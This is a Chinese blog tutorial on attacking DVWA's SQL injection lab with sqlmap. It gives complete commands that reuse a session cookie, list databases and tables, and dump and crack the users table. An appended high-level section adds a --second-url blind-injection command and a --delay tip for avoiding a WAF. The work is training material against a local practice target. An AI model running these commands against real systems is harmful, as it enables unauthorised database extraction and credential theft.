dvwa之sql injection之sqlmap工具注入(low版)

本文详细介绍如何使用SQLMap工具进行SQL注入攻击,包括设置安全性级别、使用Cookie维持会话、发现数据库及表信息,并最终获取敏感数据。

可能要用到的参数:

-u             指定URL

--cookie     带cookie注入


爆库:

--dbs     发现所有数据库 (参数前有空格)

列出数据库:

--tables     列出数据库表  (参数前有空格)

-D            选择数据库


首先一定先把难度调为low


当写1-5的时候,都会有值出来


直接上工具


如下:Sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id =1&submit=sublit#"


有一个302跳转,跳转到的是登录页面,所以这个时候需要使用cookie进行会话维持,然后使用burpsuite或者是f12都行,找到cookie:


security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5

构造语句:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5"

得到的值:



然后进行爆数据库处理:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" --dbs

得到的结果如下:


看到了我们想要的

列出数据库表:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5" --tables -D dvwa

   -D选项是选择数据库为dvwa

然后 


列出users表的所有字段


–columns -T “users”<列出mysql数据库中的user表的所有字段> (columns参数前带空格)

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5"  --columns -T users    //两个--

然后就是使用字典(自带)进行解密

-T users --dump

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie=" security=low; PHPSESSID=9l4drsb9mipq735o12i8pmoub5"  -T users --dump


中间是y 1 n 回车


结果就出来啦





DVWA靶场中,High难度级别的SQL注入(Blind SQL Injection)通常会引入一些额外的安全机制,如请求跳转、二次参数提交等。这使得传统的直接注入方法难以奏效,因此需要结合sqlmap的高级功能进行测试。 ### 测试环境准备 在开始使用sqlmap之前,需要确保已经完成以下步骤: - 登录DVWA并设置安全级别为**High**。 - 使用工具(如Burp Suite)捕获目标请求的数据包,并保存到本地文件中。 - 在数据包中的注入点(例如`id=1`)后添加通配符`*`,以便sqlmap识别注入位置[^3]。 ### sqlmap命令详解 针对High难度的Blind SQL注入,可以使用以下sqlmap命令: ```bash sqlmap -r "/path/to/request.txt" \ --second-url="http://<dvwa-ip>/dvwa/vulnerabilities/sqli_blind/" \ --cookie="PHPSESSID=<session-id>; security=high" \ --batch --dump -D "dvwa" -T "<table-name>" -C "<column-name>" ``` #### 参数说明: - `-r`:指定从本地文件读取HTTP请求数据包。 - `--second-url`:指定注入后跳转的目标URL,适用于需要二次请求的场景。 - `--cookie`:提供有效的会话信息以保持登录状态。 - `--batch`:启用批处理模式,避免交互式提示。 - `--dump`:导出指定表的数据。 - `-D`:指定数据库名称(如`dvwa`)。 - `-T`:指定目标数据表(如`users`或`locations`)。 - `-C`:指定需要枚举的字段列名(如`name`或`user`)。 ### 实际操作流程 1. **抓包与修改请求** 使用Burp Suite拦截向`vulnerabilities/sqli_blind/`发送的GET或POST请求,将原始请求保存到文件中,并在`id`参数后添加`*`标记注入点[^3]。 2. **运行sqlmap命令** 执行上述命令时,确保路径和参数正确无误。例如,若目标表为`users`且需获取`user`和`password`字段,则可调整`-T`和`-C`参数。 3. **结果分析** sqlmap会在控制台输出检测到的注入类型(如布尔盲注或时间盲注)、数据库本、用户权限及目标表数据[^1]。 ### 注意事项 - 高级别防护可能会限制请求频率,建议适当增加延时(使用`--delay`参数)以避免触发WAF。 - 若目标页面存在重定向逻辑,务必准确配置`--second-url`参数[^2]。 - 确保`PHPSESSID`和`security` Cookie值有效,否则可能导致身份验证失败。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值